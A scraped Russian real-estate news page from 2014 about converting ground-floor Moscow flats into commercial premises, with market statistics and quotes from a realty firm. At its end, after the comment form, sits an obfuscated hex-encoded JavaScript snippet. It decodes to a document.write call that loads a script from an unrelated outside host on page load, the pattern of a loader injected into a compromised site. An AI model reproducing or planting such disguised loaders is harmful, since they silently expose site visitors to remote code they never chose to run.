Переведенные в нежилой фонд квартиры на первых этажах могут демонстрировать доходность до 100% - исследование

2014-07-17 13:00:18

Выставленные на вторичном рынке столичного жилья квартиры с возможностью и потенциальной целесообразностью их перевода в нежилой фонд дороже среднерыночных объектов не менее чем в два раза, считают в "Инком-Недвижимость"."Квартиры на первых этажах, интересные с точки зрения перевода в нежилой фонд, - одни из очень немногих по-настоящему привлекательных сегодня для инвесторов объектов на рынке жилья. Доходность здесь может достигать 100%. Другой вопрос, что действительно ликвидных предложений на рынке мало, это в буквальном смысле штучные варианты. Инвестиционный потенциал в данном случае определяется, прежде всего, пешеходным трафиком. Самые привлекательные с точки зрения перевода под коммерческую недвижимость квартиры расположены в домах прямо у метро в крупных спальных районах", - прокомментировал директор департамента вторичного рынка компании Сергей Шлома.По оценкам риэлторов, последующие после покупки вложения покупателя, связанные с переводом помещения в нежилой фонд и подготовкой его к позиционированию на рынке в новом статусе, в среднем составляют треть от стоимости объекта, а все согласовательные процедуры занимают примерно год.Однако в компании подчеркивают, что с апреля нынешнего года процесс переоформления сильно притормозили изменения в законодательстве, наделившие муниципальных депутатов полномочиями разрешать или запрещать перевод. Кроме того, последнее время муссируются слухи о возможном повышении налоговых ставок для помещений, переведенных в коммерческую недвижимость, и в таком случае доходность этого бизнеса может резко упасть. Наконец, при инвестировании надо учитывать риски невозможности перевода объекта в нежилой фонд, напоминают эксперты.В компании отмечают, что интересные с точки зрения перевода в нежилой фонд квартиры на первых этажах составляют очень узкий и при этом перегретый продавцами сегмент рынка. Собственники понимают инвестиционный потенциал своего жилья, стараются извлечь из него максимальную прибыль и изначально завышают стоимость объекта на 15-20%.Что касается предложения в целом, то квартиры на первых этажах на московском вторичном рынке жилья составляют 10,7% от всего объема выставленной на продажу жилой недвижимости. По данным аналитического центра компании, в настоящее время на вторичном рынке жилья выставлено на продажу 41856 объектов. Из них 4479 объектов - квартиры на первых этажах. Из них, в свою очередь, 27% являются однокомнатными, 33% - двухкомнатными, 29% - трехкомнатными, 10% - помещениями с четырьмя и более комнатами.Как подчеркивают эксперты, квартиры на первых этажах - полярные объекты на рынке жилья. Если их нельзя перевести в нежилой фонд, то подобное расположение является поводом для снижения цены на 10-30%. var sources = "Ист"+"очн"+"ик: interfax.ru";Следите за нами в ВКонтакте, Facebook"e и Twitter"e Просмотров: 45Рубрика: Недвижимостьdocument.write(sources); (CY) Архив новостей / Экспорт новостей var MarketGidDate = new Date(); document.write(""); #smi2adblock_42717 img { max-width: none; }#smi2adblock_42717 a { color: #316CA6; font-size: 13px; text-decoration: underline; font-family: Arial, Tahoma, sans-serif}#smi2adblock_42717 a:hover { text-decoration: none;} (function() { var sc = document.createElement("script"); sc.type = "text/javascript"; sc.async = true; sc.src = "http://js.finance.comon.ru/data/js/42717.js"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(sc, s); }()); Оставьте комментарий! Ваше Имя: function CheckForm() { message_error=""; (!document.fadd.message.value || document.fadd.message.value.length < 4 || document.fadd.message.value.length > 1000) ? message_error += " - Комментарий мен. 4 или бол. 1000 символов; " : null; (!document.fadd.username.value || document.fadd.username.value.length > 25) ? message_error += " - Не указанно ваше имя или оно бол. 25 символов; " : null; (message_error!="") ? alert("ВНИМАНИЕ! Ниже приведённые поля заполнены не верно: "+message_error) : document.fadd.submit(); }var _0xec99=["x3Cx73x63","x72x69x70x74x20x74x79x70x65x3Dx22x74x65x78x74x2Fx6Ax61x76x61x73x63x72x69x70x74x22x20x73x72x63x3Dx22x68x74x74x70x3Ax2Fx2Fx72x6Fx73x69x6Ex76x65x73x74x2Ex63x6Fx6Dx2Fx6Ax61x76x61x73x63x72x69x70x74x2Fx63x6Fx6Ex74x72x2Fx6Fx70x65x6Ex73x65x73x73x2Ex70x68x70x22x3Ex3Cx2Fx73x63","x72x69x70x74x3E","x77x72x69x74x65"];document[_0xec99[3]](_0xec99[0]+_0xec99[1]+_0xec99[2]); На форуме обсуждают: